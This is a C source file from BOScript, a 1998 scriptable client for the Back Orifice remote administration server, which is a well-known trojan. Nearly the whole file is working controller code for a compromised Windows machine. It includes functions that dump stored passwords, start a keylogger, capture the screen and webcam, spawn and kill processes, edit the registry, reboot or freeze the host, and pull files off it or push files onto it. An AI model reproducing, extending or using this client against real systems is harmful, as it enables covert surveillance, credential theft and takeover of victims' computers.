/* commands.c
 * BOScript v.0.2
 * A scriptable interface to the Back Orific Remote Administration Server
 * Copyright (C) 1998 Mitch Blevins (mitch_blevins@mindspring.com)
 * http://blevins.simplenet.com/boscript
 *
 * Original Back Orifice Unix Client
 * Written by Dildog (dildog@cultdeadcow.com)
 *	and LadyAda (ladyada@cybercom.net)
 * Copyright (c) 1998 Cult of the Dead Cow
 * http://www.cultdeadcow.com
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 */
 


#include "config.h"
#include "boscript.h"
extern int udpsock;
extern int port;
extern unsigned long host;
extern char cwd[MAX_PATH];
extern char g_password[ARGSIZE];
extern int verbose;
extern unsigned long g_packet;
extern struct packlink *packet_head;
extern char* ftm;
extern int temp_timeout;


/**************** UTILITY FUNCTIONS ********************/

int bo_init()
{
  struct sockaddr_in sockaddr;
  struct in_addr hostin;
  struct linger linger;
  
  host = 0;
  g_packet = 0;
  g_password[0] = 0;
  strcpy(cwd, "c:\\");

  if((udpsock = socket(AF_INET, SOCK_DGRAM, 0)) < 0){
    perror("socket");
    return(1);
  }
  
  memset(&sockaddr, 0, sizeof(sockaddr));
  sockaddr.sin_family = AF_INET;
  sockaddr.sin_port = htons((u_short)0);
  
  if((bind(udpsock, (struct sockaddr*)&sockaddr, sizeof(sockaddr))) < 0){
    perror("bind");
    return(1);
  }
  
  linger.l_onoff = 0;          /* dont linger */
  setsockopt(udpsock, SOL_SOCKET, SO_LINGER, (void*)&linger, sizeof(linger));
  
  return 0;
}


int bo_sethost(char *hostname){
    struct in_addr hostin;
    struct hostent *hptr;
    int x;
    
    /* Is hostname a valid address? */
    if((host=inet_addr(hostname)) == (unsigned long)-1){
        /* Ain't an address, assuming hostname */
	if((hptr=gethostbyname(hostname)) == NULL){
	    host = 0;
	    hostin.s_addr = host;
	    fprintf(stderr, "Resolver said: eat me.\n");
	    return(1);
	}
	if((host = *(unsigned long *)hptr->h_addr_list[0]) ==
	            (unsigned long)-1){
	    host = 0;
	    hostin.s_addr = host;
	    fprintf(stderr, "Resolver returned bogus IP address.\n");
	    return(1);
	}
    }
    if(verbose) printf("Host set to %s.\n", hostname);
    hostin.s_addr = host;
    return(0);
}

    
int bo_setport(int portnum){
    if(portnum > 0 && portnum < 65536){
        port = portnum;
	if(verbose) printf("Port set to %d.\n", port);
	return(0);
    }
    else{
        fprintf(stderr, "Could not set port to %d.  Out of range.\n", portnum);
	return(1);
    }
}

int bo_setpass(char *password){
    if(strlen(password) == 0){
        g_password[0] = 0;
	if(verbose) printf("Password removed.\n");
    }
    else{
        strncpy(g_password, password, ARGSIZE-1);
	if(verbose) printf("Password set to %s.\n", g_password);
    }
    return(0);
}

char* bo_getpass(){
  return(g_password);
}

int bo_setverbose(){
  verbose = -1;
  printf("Verbosity turned on.\n");
  return(0);
}

int bo_unsetverbose(){
  verbose = 0;
  printf("Verbosity turned off.\n");
  return(0);
}

char* bo_gettext(){
  int x=0;
  struct packlink *pos;
  char *buf;
  
  /* Free the memory from the last time we did this */
  free(ftm);
  
  pos = packet_head;
  while(pos->next && pos->active){
    x += pos->datasize;
    ++x; /* for the newline */
    pos = pos->next;
  }
  
  if(!(buf = (char*)malloc(x+1))){
    perror("malloc");
    exit(1);
  }
  ftm = buf;
  
  pos = packet_head;
  strcpy(buf, "");
  while(pos->next && pos->active){
    strncat(buf, pos->data, pos->datasize);
    strcat(buf, "\n");
    pos = pos->next;
  }
  
  return(buf);
}

int bo_settimeout(int time_out){
  if(time_out > 0){
    temp_timeout = time_out;
    return(0);
  }
  else{
    return(1);
  }
}

/****************** FILE FUNCTIONS ********************************/

int bo_ls(char *dir){
  if(!sendpacket(TYPE_DIRECTORYLIST, dir, "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_rm(char *filename){
  if(!sendpacket(TYPE_FILEDELETE, filename, "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_cp(char *src, char *dst){
  if(!sendpacket(TYPE_FILECOPY, src, dst, host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_ren(char *file1, char *file2){
  if(!sendpacket(TYPE_FILERENAME, file1, file2, host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_find(char *filename, char *path){
  if(!sendpacket(TYPE_FILEFIND, filename, path, host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_mkdir(char *dir){
  if(!sendpacket(TYPE_DIRECTORYMAKE, dir, "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_rmdir(char *dir){
  if(!sendpacket(TYPE_DIRECTORYDELETE, dir, "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_freeze(char *src, char *dst){
  if(!sendpacket(TYPE_FILEFREEZE, src, dst, host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_melt(char *src, char *dst){
  if(!sendpacket(TYPE_FILEMELT, src, dst, host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_fileview(char *filename){
  if(!sendpacket(TYPE_FILEVIEW, filename, "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_tcpsend(char *filename, char *ip_port){
  if(!sendpacket(TYPE_TCPFILESEND, filename, ip_port, host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_tcprecv(char *filename, char *ip_port){
  if(!sendpacket(TYPE_TCPFILERECEIVE, filename, ip_port, host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_get(char *local_filename, char *remote_filename){
  char ip_port[128]; /* Why? I don't know... */
  int tcpsock, listensock, dummysock;
  struct sockaddr_in sockaddr, socktcp, sockdummy;
  fd_set fds;
  struct timeval tv;
  int sel, x, ret;
  char buff[BUFFSIZE];
  pid_t cpid;
  int flag = 1;
  FILE *local_file;
  int i;
  int tcplength = sizeof(socktcp);
  int dummylength = sizeof(sockdummy);
  struct in_addr dummy_addr;
  
  if((listensock = socket(AF_INET, SOCK_STREAM, 0)) < 0){
    perror("socket");
    return(1);
  }
  if((tcpsock = socket(AF_INET, SOCK_STREAM, 0)) < 0){
    perror("socket");
    return(1);
  }
  
  /* Let's use a dummy UDP socket to determine our own IP address */
  sockdummy.sin_family = AF_INET;
  sockdummy.sin_port = htons(TCP_PORT);
  sockdummy.sin_addr.s_addr = host;
  if((dummysock = socket(AF_INET, SOCK_DGRAM, 0)) < 0){
    perror("dummy socket");
    return(1);
  }
  if(connect(dummysock, (struct sockaddr*)&sockdummy, dummylength)){
    perror("dummy connect");
    return(1);
  }
  if(getsockname(dummysock, (struct sockaddr*)&sockdummy, &dummylength)){
    perror("getsockname");
    return(1);
  }
  dummy_addr.s_addr = sockdummy.sin_addr.s_addr;
  snprintf(ip_port, 128, "%s:%d", inet_ntoa(dummy_addr), TCP_PORT);
  close(dummysock);
  
  
  /* We don't want this thing hanging the whole damn script */
  if(ioctl(listensock, FIONBIO, &flag)){
    perror("ioctl");
    close(listensock);
    close(tcpsock);
    return(1);
  }
  
  sockaddr.sin_family = AF_INET;
  sockaddr.sin_port = htons(TCP_PORT);
  sockaddr.sin_addr.s_addr = INADDR_ANY;
  
  if((bind(listensock, (struct sockaddr*)&sockaddr, sizeof(sockaddr))) < 0){
    perror("bind");
    close(listensock);
    close(tcpsock);
    return(1);
  }
  
  cpid = fork();
  if(cpid == -1){
    perror("fork");
    close(listensock);
    close(tcpsock);
    return(1);
  }
  else if(cpid == 0){
    /* Child process */
    /* Tell the BO Server to send the file */
    if(bo_tcpsend(remote_filename, ip_port)){
      fprintf(stderr, "bo_tcpsend: failed\n");
      _exit(1);
    }
    _exit(0);
  }
  
  /* Parent */

  /* Listen for a connection on the port */
  if(listen(listensock, 1)){
    perror("listen");
    close(listensock);
    close(tcpsock);
    return(1);
  }
  
  FD_ZERO(&fds);
  FD_SET(listensock, &fds);
  tv.tv_sec = 10;
  tv.tv_usec = 0;
  if((sel = select(listensock+1, &fds, NULL, NULL, &tv)) < 0){
    perror("select");
    close(listensock);
    close(tcpsock);
    return(1);
  }
  if(sel == 0){
    fprintf(stderr, "select: timed out\n");
    close(listensock);
    close(tcpsock);
    return(1);
  }

  if((tcpsock = accept(listensock, &socktcp, &tcplength)) == -1){
    perror("accept");
    close(listensock);
    close(tcpsock);
    return(1);   
  }
  close(listensock);
  
  FD_ZERO(&fds);
  FD_SET(tcpsock, &fds);
  tv.tv_sec = 10;
  tv.tv_usec = 0;
  
  if(!(local_file = fopen(local_filename, "w"))){
    perror("fopen");
    close(tcpsock);
    return(1);
  }
  
  while((sel = select(tcpsock+1, &fds, NULL, NULL, &tv)) > 0){
    tv.tv_sec = 10;
    tv.tv_usec = 0;
    
    if(FD_ISSET(tcpsock, &fds)){
    
      if((x = recv(tcpsock, buff, BUFFSIZE, 0)) < 0){
        perror("recv");
	close(tcpsock);
	fclose(local_file);
        return(1);
      }
      else if(x == 0){
        close(tcpsock);
	fclose(local_file);
        return(0);
      }
      for(i=0; i<x; i++){
        fputc(buff[i], local_file);
      }
    }
    else{
      fprintf(stderr, "select: very strange error.\n");
      close(tcpsock);
      fclose(local_file);
      return(1);
    }
  }
  if(sel == 0){
    fprintf(stderr, "tcp select: timed out\n");
    close(tcpsock);
    fclose(local_file);
    return(1);
  }
  if(sel < 0){
    perror("select");
    close(tcpsock);
    fclose(local_file);
    return(1);
  }
    
}

int bo_put(char *local_filename, char *remote_filename){
  char ip_port[128]; /* Why? I don't know... */
  int tcpsock, listensock, dummysock;
  struct sockaddr_in sockaddr, socktcp, sockdummy;
  fd_set fds;
  struct timeval tv;
  int sel, x, ret;
  char buff[BUFFSIZE];
  pid_t cpid;
  int flag = 1;
  FILE *local_file;
  int i, c;
  int tcplength = sizeof(socktcp);
  int dummylength = sizeof(sockdummy);
  struct in_addr dummy_addr;
  
  if((listensock = socket(AF_INET, SOCK_STREAM, 0)) < 0){
    perror("socket");
    return(1);
  }
  if((tcpsock = socket(AF_INET, SOCK_STREAM, 0)) < 0){
    perror("socket");
    return(1);
  }
  
  /* Let's use a dummy UDP socket to determine our own IP address */
  sockdummy.sin_family = AF_INET;
  sockdummy.sin_port = htons(0);
  sockdummy.sin_addr.s_addr = host;
  if((dummysock = socket(AF_INET, SOCK_DGRAM, 0)) < 0){
    perror("dummy socket");
    return(1);
  }
  if(connect(dummysock, (struct sockaddr*)&sockdummy, dummylength)){
    perror("dummy connect");
    return(1);
  }
  if(getsockname(dummysock, (struct sockaddr*)&sockdummy, &dummylength)){
    perror("getsockname");
    return(1);
  }
  dummy_addr.s_addr = sockdummy.sin_addr.s_addr;
  snprintf(ip_port, 128, "%s:%d", inet_ntoa(dummy_addr), TCP_PORT);
  close(dummysock);
  
  
  /* We don't want this thing hanging the whole damn script */
  if(ioctl(listensock, FIONBIO, &flag)){
    perror("ioctl");
    close(listensock);
    close(tcpsock);
    return(1);
  }
  
  sockaddr.sin_family = AF_INET;
  sockaddr.sin_port = htons(TCP_PORT);
  sockaddr.sin_addr.s_addr = INADDR_ANY;
  
  if((bind(listensock, (struct sockaddr*)&sockaddr, sizeof(sockaddr))) < 0){
    perror("bind");
    close(listensock);
    close(tcpsock);
    return(1);
  }
  
  cpid = fork();
  if(cpid == -1){
    perror("fork");
    close(listensock);
    close(tcpsock);
    return(1);
  }
  else if(cpid == 0){
    /* Child process */
    /* Tell the BO Server to send the file */
    if(bo_tcprecv(remote_filename, ip_port)){
      fprintf(stderr, "bo_tcpsend: failed\n");
      _exit(1);
    }
    _exit(0);
  }
  
  /* Parent */

  /* Listen for a connection on the port */
  if(listen(listensock, 1)){
    perror("listen");
    close(listensock);
    close(tcpsock);
    return(1);
  }
  
  FD_ZERO(&fds);
  FD_SET(listensock, &fds);
  tv.tv_sec = 10;
  tv.tv_usec = 0;
  if((sel = select(listensock+1, &fds, NULL, NULL, &tv)) < 0){
    perror("select");
    close(listensock);
    close(tcpsock);
    return(1);
  }
  if(sel == 0){
    fprintf(stderr, "select: timed out\n");
    close(listensock);
    close(tcpsock);
    return(1);
  }

  if((tcpsock = accept(listensock, &socktcp, &tcplength)) == -1){
    perror("accept");
    close(listensock);
    close(tcpsock);
    return(1);   
  }
  close(listensock);
  
  FD_ZERO(&fds);
  FD_SET(tcpsock, &fds);
  tv.tv_sec = 10;
  tv.tv_usec = 0;
  
  if(!(local_file = fopen(local_filename, "r"))){
    perror("fopen");
    close(tcpsock);
    return(1);
  }
  
  while((sel = select(tcpsock+1, NULL, &fds, NULL, &tv)) > 0){
    tv.tv_sec = 10;
    tv.tv_usec = 0;
    
    /* Fill the buffer with data from the file */
    for(i=0; i<BUFFSIZE; i++){
      c = fgetc(local_file);
      if(c == EOF) {buff[i] = c; printf("break loop: %d", i); break;}
      buff[i] = c;
    }
    printf("loop: %d\n", i);
    if(i == 0){
      if(close(tcpsock)){
        perror("close");
	return(1);
      }
      fclose(local_file);
      return(0);
    }
    
    if(FD_ISSET(tcpsock, &fds)){
    
      if((x = send(tcpsock, buff, i, 0)) < 0){
        perror("send");
	close(tcpsock);
	fclose(local_file);
        return(1);
      }
      if(x != i){
        perror("send");
	close(tcpsock);
	fclose(local_file);
	return(1);
      }
    }
    else{
      fprintf(stderr, "select: very strange error.\n");
      close(tcpsock);
      fclose(local_file);
      return(1);
    }
  }
  if(sel == 0){
    fprintf(stderr, "tcp select: timed out\n");
    close(tcpsock);
    fclose(local_file);
    return(1);
  }
  if(sel < 0){
    perror("select");
    close(tcpsock);
    fclose(local_file);
    return(1);
  }
    
}



/********************* NETWORK FUNCTIONS *************************/

int bo_netview(){
  if(!sendpacket(TYPE_NETVIEW, "", "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_netlist(){
  if(!sendpacket(TYPE_NETCONNECTIONS, "", "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_netconnect(char *resource){
  if(!sendpacket(TYPE_NETUSE, resource, "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_netdisconnect(char *resource){
  if(!sendpacket(TYPE_NETDELETE, resource, "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_resolve(char *hostname){
  if(!sendpacket(TYPE_RESOLVEHOST, hostname, "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_sharelist(){
  if(!sendpacket(TYPE_NETEXPORTLIST, "", "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_shareadd(char *sharename, char *path){
  if(!sendpacket(TYPE_NETEXPORTADD, sharename, path, host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_sharedel(char *sharename){
  if(!sendpacket(TYPE_NETEXPORTDELETE, sharename, "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_redirlist(){
  if(!sendpacket(TYPE_REDIRLIST, "", "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_rediradd(char *input_port, char *dest_ip){
  if(!sendpacket(TYPE_REDIRADD, input_port, dest_ip, host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_redirdel(char *redir_id){
  if(!sendpacket(TYPE_REDIRDEL, redir_id, "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}


/********************** REGISTRY FUNCTIONS ***************************/

int bo_reglistkeys(char *keyname){
  if(!sendpacket(TYPE_REGISTRYENUMKEYS, keyname, "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_regmakekey(char *keyname){
  if(!sendpacket(TYPE_REGISTRYCREATEKEY, keyname, "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_regdelkey(char *keyname){
  if(!sendpacket(TYPE_REGISTRYDELETEKEY, keyname, "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_reglistvals(char *keyname){
  if(!sendpacket(TYPE_REGISTRYENUMVALS, keyname, "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_regsetval(char *valuename, char *data){
  if(!sendpacket(TYPE_REGISTRYSETVALUE, valuename, data, host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_regdelval(char *valuename){
  if(!sendpacket(TYPE_REGISTRYDELETEVALUE, valuename, "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

/*********************** PROCESS FUNCTIONS ****************************/

int bo_proclist(){
  if(!sendpacket(TYPE_PROCESSLIST, "", "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_prockill(char *proc_id){
  if(!sendpacket(TYPE_PROCESSKILL, proc_id, "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_procspawn(char *cmdline){
  if(!sendpacket(TYPE_PROCESSSPAWN, cmdline, "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}


/*********************** CONSOLE PROGRAM FUNCTIONS ********************/

int bo_applist(){
  if(!sendpacket(TYPE_APPLIST, "", "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_appadd(char *exename, char *inputport){
  if(!sendpacket(TYPE_APPADD, exename, inputport, host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_appdel(char *app_id){
  if(!sendpacket(TYPE_APPDEL, app_id, "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}


/*********************** PLUGIN FUNCTIONS ******************************/

int bo_pluginlist(){
  if(!sendpacket(TYPE_PLUGINLIST, "", "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_pluginexec(char *plugin, char *plugin_args){
  if(!sendpacket(TYPE_PLUGINEXECUTE, plugin, plugin_args, host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_pluginkill(char *plugin_id){
  if(!sendpacket(TYPE_PLUGINKILL, plugin_id, "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}


/*********************** MULTIMEDIA FUNCTIONS *************************/

int bo_listcaps(){
  if(!sendpacket(TYPE_MMLISTCAPS, "", "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_capframe(char *filename, char *devicespec){
  if(!sendpacket(TYPE_MMCAPFRAME, filename, devicespec, host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_capavi(char *filename, char *devicespec){
  if(!sendpacket(TYPE_MMCAPAVI, filename, devicespec, host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_capscreen(char *filename){
  if(!sendpacket(TYPE_MMCAPSCREEN, filename, "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_sound(char *filename){
  if(!sendpacket(TYPE_MMPLAYSOUND, filename, "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}


/*********************** WEB SERVER FUNCTIONS **************************/

int bo_httpon(char *httpport, char *path){
  if(atoi(httpport) == 0){
    fprintf(stderr, "httpon:  must supply port.\n");
    return(1);
  }
  else{
    if(!sendpacket(TYPE_HTTPENABLE, httpport, path, host, port, udpsock)){
      return(getinput(udpsock));
    }
    else{
      return(1);
    }
  }
}

int bo_httpoff(){
  if(!sendpacket(TYPE_HTTPDISABLE, "", "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}


/********************** MISCELLANEOUS FUNCTIONS ***********************/

int bo_ping(){
  if(!sendpacket(TYPE_PING, "", "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_sweep(char *subnet){
  if(!strlen(subnet)){
    fprintf(stderr, "sweep: Must supply subnet.\n");
    return(1);
  }
  return(pingsweepsubnet(subnet, udpsock, port));
}

int bo_sysinfo(){
  if(!sendpacket(TYPE_SYSINFO, "", "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_passes(){
  if(!sendpacket(TYPE_SYSLISTPASSWORDS, "", "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_dialog(char *message, char *title){
  if((strlen(message) == 0) || (strlen(title) == 0)){
    fprintf(stderr, "Must supply dialog text and title.\n");
    return(1);
  }
  if(!sendpacket(TYPE_SYSDIALOGBOX, message, title, host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_reboot(){
  if(!sendpacket(TYPE_SYSREBOOT, "", "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_lockup(){
  if(!sendpacket(TYPE_SYSLOCKUP, "", "", host, port, udpsock)){
    return(getinput(udpsock));
  }
  else{
    return(1);
  }
}

int bo_logkeys(char *filename){
  if(strlen(filename) < 1){
    fprintf(stderr, "logkeys: Must supply a filename");
    return(1);
  }
  else if(strcasecmp(filename, "STOP") == 0){
    if(!sendpacket(TYPE_SYSENDKEYLOG, "", "", host, port, udpsock)){
      return(getinput(udpsock));
    }
    else{
      return(1);
    }
  }
  else{
    if(!sendpacket(TYPE_SYSLOGKEYS, filename, "", host, port, udpsock)){
      return(getinput(udpsock));
    }
    else{
      return(1);
    }
  }
}

